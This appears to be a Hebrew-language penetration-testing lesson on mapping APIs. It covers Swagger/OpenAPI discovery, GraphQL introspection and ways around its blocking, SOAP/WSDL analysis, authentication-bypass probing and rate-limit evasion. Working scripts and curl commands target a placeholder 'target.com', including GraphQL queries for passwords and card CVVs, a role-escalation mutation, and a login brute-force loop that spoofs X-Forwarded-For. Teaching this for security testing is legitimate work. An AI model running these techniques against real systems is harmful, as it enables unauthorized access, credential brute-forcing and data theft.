חקירת API ומיפוי¶
מבוא¶
API interfaces הפכו לחלק מרכזי באפליקציות ווב מודרניות. בעוד אפליקציות מסורתיות מציגות טפסים ועמודים, אפליקציות מודרניות מבוססות על API שמספק נתונים לצד הלקוח. חקירת API היא תהליך שמטרתו למפות את כל נקודות הקצה, להבין את מבנה הנתונים, ולזהות הזדמנויות לexploit.
בשיעור זה נלמד טכניקות מתקדמות לחקירת REST API, GraphQL, ושירותי SOAP - כולל גילוי תיעוד נסתר, שאילתות אינטרוספקציה, וניתוח אפליקציות מובייל.
גילוי תיעוד API¶
Swagger / OpenAPI¶
הSwagger (כיום OpenAPI) הוא התקן הנפוץ ביותר לתיעוד API. קובץ התיעוד מכיל את כל נקודות הקצה, הפרמטרים, ומבני הנתונים.
# Common paths for Swagger/OpenAPI files:
/swagger.json
/swagger.yaml
/swagger/
/swagger-ui/
/swagger-ui.html
/swagger/v1/swagger.json
/api-docs
/api-docs.json
/api/swagger.json
/api/swagger
/openapi.json
/openapi.yaml
/openapi/
/v1/api-docs
/v2/api-docs
/v3/api-docs
/api/v1/swagger.json
/api/v2/swagger.json
/docs
/docs/api
/redoc
/.well-known/openapi.json
# Automatic scan
ffuf -u "https://target.com/FUZZ" -w swagger_paths.txt -mc 200
# Save the swagger file for analysis
curl -s "https://target.com/swagger.json" | jq > swagger_formatted.json
# Extract all endpoints
cat swagger_formatted.json | jq -r '.paths | keys[]'
# Extract endpoints with HTTP methods
cat swagger_formatted.json | jq -r '.paths | to_entries[] | .key as $path | .value | to_entries[] | "\(.key | ascii_upcase) \($path)"'
# swagger_parser.py - parse the Swagger file and extract information
import json
import sys
def parse_swagger(filename):
with open(filename) as f:
spec = json.load(f)
print(f"[+] API Title: {spec.get('info', {}).get('title', 'N/A')}")
print(f"[+] Version: {spec.get('info', {}).get('version', 'N/A')}")
print(f"[+] Base URL: {spec.get('basePath', spec.get('servers', [{}])[0].get('url', 'N/A'))}")
print()
paths = spec.get("paths", {})
print(f"[+] Found {len(paths)} endpoints:")
print("-" * 60)
for path, methods in sorted(paths.items()):
for method, details in methods.items():
if method in ["get", "post", "put", "delete", "patch"]:
auth = "AUTH" if details.get("security") else "NO-AUTH"
summary = details.get("summary", "No description")
params = details.get("parameters", [])
print(f" [{method.upper():6}] {path:40} [{auth}] {summary}")
for param in params:
print(f" Param: {param.get('name')} ({param.get('in')}) "
f"{'*required' if param.get('required') else 'optional'}")
if __name__ == "__main__":
parse_swagger(sys.argv[1])
גילוי תיעוד Postman¶
# Search for exposed Postman Collections
# Developers sometimes share collections publicly
# Search on Google:
# site:documenter.getpostman.com "target.com"
# site:www.postman.com/collections "target"
# Common paths on the target site:
/postman
/postman-collection.json
/api/postman
/.postman
/docs/postman
חקירת GraphQL¶
מה זה GraphQL¶
הGraphQL היא שפת שאילתות ל-API שמאפשרת ללקוח לבקש בדיוק את הנתונים שהוא צריך. בניגוד ל-REST, בו כל נקודת קצה מחזירה מבנה קבוע, ב-GraphQL הלקוח מגדיר את מבנה התגובה.
זיהוי GraphQL¶
# Common GraphQL paths:
/graphql
/graphiql
/graphql/console
/graphql/playground
/api/graphql
/v1/graphql
/gql
/query
# Test with a simple query
curl -s -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query": "{ __typename }"}'
# If the response contains {"data":{"__typename":"Query"}} - it's GraphQL
שאילתת אינטרוספקציה - Introspection Query¶
שאילתת אינטרוספקציה חושפת את כל הסכמה של ה-API - טיפוסים, שדות, שאילתות, ומוטציות.
# Full introspection query
curl -s -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { types { name kind fields { name type { name kind ofType { name } } } } } }"}'
# graphql_introspection.py - full introspection query
import requests
import json
import sys
INTROSPECTION_QUERY = """
{
__schema {
queryType { name }
mutationType { name }
types {
name
kind
fields {
name
type {
name
kind
ofType {
name
kind
}
}
args {
name
type {
name
kind
}
}
}
}
}
}
"""
def introspect(url):
response = requests.post(
url,
json={"query": INTROSPECTION_QUERY},
headers={"Content-Type": "application/json"},
verify=False
)
if response.status_code != 200:
print(f"[-] Error: {response.status_code}")
return
data = response.json()
if "errors" in data:
print(f"[-] Introspection blocked: {data['errors'][0].get('message', 'Unknown error')}")
return
schema = data.get("data", {}).get("__schema", {})
print(f"[+] Query Type: {schema.get('queryType', {}).get('name', 'N/A')}")
print(f"[+] Mutation Type: {schema.get('mutationType', {}).get('name', 'N/A')}")
print()
types = schema.get("types", [])
user_types = [t for t in types if not t["name"].startswith("__")]
print(f"[+] Found {len(user_types)} types:")
print("-" * 60)
for t in user_types:
if t.get("fields"):
print(f"\nType: {t['name']} ({t['kind']})")
for field in t["fields"]:
field_type = field["type"].get("name") or \
field["type"].get("ofType", {}).get("name", "Unknown")
args = ", ".join(a["name"] for a in field.get("args", []))
args_str = f"({args})" if args else ""
print(f" - {field['name']}{args_str}: {field_type}")
if __name__ == "__main__":
url = sys.argv[1]
introspect(url)
שאילתות GraphQL נפוצות לתקיפה¶
# Query to get all users
{
users {
id
username
email
role
password
}
}
# Mutation to change permissions
mutation {
updateUser(id: 1, role: "admin") {
id
username
role
}
}
# Query with Nested Objects - exposing linked information
{
users {
id
username
orders {
id
total
creditCard {
number
cvv
}
}
privateMessages {
content
from {
username
}
}
}
}
# batch query - bypasses rate limiting
[
{"query": "{ user(id: 1) { username password } }"},
{"query": "{ user(id: 2) { username password } }"},
{"query": "{ user(id: 3) { username password } }"}
]
הbypass חסימת אינטרוספקציה¶
# If introspection is blocked, try:
# 1. Use __type instead of __schema
curl -s -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query": "{ __type(name: \"User\") { fields { name type { name } } } }"}'
# 2. Send as a GET parameter
curl -s "https://target.com/graphql?query=%7B__schema%7Btypes%7Bname%7D%7D%7D"
# 3. Use an alias
curl -s -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query": "{ a: __typename }"}'
# 4. Use fragments
curl -s -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query": "fragment TypeInfo on __Type { name fields { name } } { __schema { types { ...TypeInfo } } }"}'
# 5. Guessing field names (field suggestion)
# Send an incorrect field name - the error message may suggest correct names
curl -s -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query": "{ usr { id } }"}'
# Response: "Did you mean 'user' or 'users'?"
כלי GraphQL¶
# graphw00f - identifies the GraphQL engine
pip install graphw00f
graphw00f -t https://target.com/graphql
# InQL - a Burp Suite extension for GraphQL investigation
# Install from the BApp Store
# Allows: introspection, building queries, and vulnerability scanning
# graphql-voyager - schema visualization
# https://graphql-kit.com/graphql-voyager/
# Paste the introspection result to get a visual diagram
חקירת SOAP / WSDL¶
זיהוי שירותי SOAP¶
# Common paths
/ws
/wsdl
/service.asmx
/service.svc
/soap
/api/soap
/*.asmx?wsdl
/*.svc?wsdl
# Test
curl -s "https://target.com/service.asmx?wsdl"
curl -s "https://target.com/service.svc?wsdl"
ניתוח WSDL¶
# Download the WSDL
curl -s "https://target.com/service.asmx?wsdl" -o service.wsdl
# Parse with Python
python3 -c "
import xml.etree.ElementTree as ET
tree = ET.parse('service.wsdl')
root = tree.getroot()
ns = {'wsdl': 'http://schemas.xmlsoap.org/wsdl/'}
for op in root.findall('.//wsdl:operation', ns):
print(f'Operation: {op.get(\"name\")}')
"
בדיקת אותנטיקציה של API¶
סוגי אותנטיקציה נפוצים¶
# 1. API key in the header
curl -s "https://target.com/api/data" -H "X-API-Key: test123"
curl -s "https://target.com/api/data" -H "Api-Key: test123"
# 2. Bearer Token
curl -s "https://target.com/api/data" -H "Authorization: Bearer eyJ..."
# 3. Basic Authentication
curl -s "https://target.com/api/data" -u "admin:password"
# Equivalent to:
curl -s "https://target.com/api/data" -H "Authorization: Basic YWRtaW46cGFzc3dvcmQ="
# 4. API key in a URL parameter
curl -s "https://target.com/api/data?api_key=test123"
# 5. HMAC Signature
# A request signed with a secret key
# Usually includes: timestamp, nonce, signature
# 6. OAuth 2.0 Token
curl -s "https://target.com/api/data" -H "Authorization: Bearer ACCESS_TOKEN"
בדיקת bypass אותנטיקציה¶
# api_auth_bypass.py - test authentication bypass
import requests
target = "https://target.com/api/admin/users"
tests = [
# Without authentication
{"name": "No auth", "headers": {}},
# Empty headers
{"name": "Empty API key", "headers": {"X-API-Key": ""}},
{"name": "Empty Bearer", "headers": {"Authorization": "Bearer "}},
# Common values
{"name": "API key: null", "headers": {"X-API-Key": "null"}},
{"name": "API key: undefined", "headers": {"X-API-Key": "undefined"}},
{"name": "API key: true", "headers": {"X-API-Key": "true"}},
# Different HTTP methods
{"name": "GET instead of POST", "method": "GET"},
{"name": "PUT instead of POST", "method": "PUT"},
# Special headers
{"name": "X-Forwarded-For", "headers": {"X-Forwarded-For": "127.0.0.1"}},
{"name": "X-Original-URL", "headers": {"X-Original-URL": "/api/admin/users"}},
# Different Content-Type
{"name": "XML Content-Type", "headers": {"Content-Type": "application/xml"}},
]
for test in tests:
method = test.get("method", "GET")
headers = test.get("headers", {})
resp = requests.request(method, target, headers=headers, verify=False)
status = resp.status_code
length = len(resp.text)
indicator = "!!!" if status == 200 else ""
print(f"[{status}] {test['name']:30} (length: {length}) {indicator}")
בדיקת Rate Limiting וbypass שלו¶
בדיקת קיום Rate Limiting¶
# rate_limit_test.py - test rate limiting
import requests
import time
url = "https://target.com/api/login"
data = {"username": "admin", "password": "wrong"}
for i in range(100):
resp = requests.post(url, json=data, verify=False)
print(f"Request {i+1}: Status {resp.status_code}, Length {len(resp.text)}")
if resp.status_code == 429:
print(f"[!] Rate limited after {i+1} requests")
print(f" Retry-After: {resp.headers.get('Retry-After', 'N/A')}")
break
טכניקות bypass Rate Limiting¶
# 1. Change the IP header
for ip in 1.1.1.{1..255}; do
curl -s "https://target.com/api/login" \
-H "X-Forwarded-For: $ip" \
-d '{"username":"admin","password":"test'$ip'"}' &
done
# 2. Use different paths (path normalization)
/api/login
/api/Login
/api/LOGIN
/api/login/
/api/login/.
/api//login
/%61%70%69/login
# 3. Use additional parameters
/api/login?dummy=1
/api/login?x=random_value
/api/login#fragment
# 4. Change the Content-Type
# application/json
# application/x-www-form-urlencoded
# multipart/form-data
# 5. Use HTTP/2 multiplexing
# Send multiple requests over the same TCP connection
בדיקת סוגי תוכן שונים - Content Type Testing¶
# content_type_test.py - test responses to different content types
import requests
import json
url = "https://target.com/api/login"
# Same logical data, different content types
tests = [
{
"name": "JSON",
"headers": {"Content-Type": "application/json"},
"data": json.dumps({"username": "admin", "password": "test"})
},
{
"name": "Form URL-encoded",
"headers": {"Content-Type": "application/x-www-form-urlencoded"},
"data": "username=admin&password=test"
},
{
"name": "XML",
"headers": {"Content-Type": "application/xml"},
"data": "<login><username>admin</username><password>test</password></login>"
},
{
"name": "Multipart",
"headers": {}, # requests sets it automatically
"files": {"username": (None, "admin"), "password": (None, "test")}
},
]
for test in tests:
try:
if "files" in test:
resp = requests.post(url, files=test["files"], verify=False)
else:
resp = requests.post(url, headers=test["headers"],
data=test["data"], verify=False)
print(f"[{resp.status_code}] {test['name']:25} Length: {len(resp.text)}")
if resp.status_code != 404:
print(f" Response: {resp.text[:100]}")
except Exception as e:
print(f"[ERROR] {test['name']}: {e}")
סיכום¶
בשיעור זה למדנו:
- גילוי תיעוד API - מציאת Swagger/OpenAPI, Postman collections
- חקירת GraphQL - אינטרוספקציה, bypass חסימות, שאילתות תקיפה
- חקירת SOAP - ניתוח WSDL, זיהוי פעולות
- אותנטיקציה - סוגי אותנטיקציה נפוצים ובדיקת bypass שלהם
- הbypass Rate Limiting - טכניקות לbypass הגבלות קצב
- סוגי תוכן - בדיקת התנהגות עם Content-Types שונים
מיפוי API מלא הוא הבסיס לכל בדיקה - ככל שנכיר יותר נקודות קצה ופרמטרים, כך נגדיל את הסיכוי לגלות חולשות.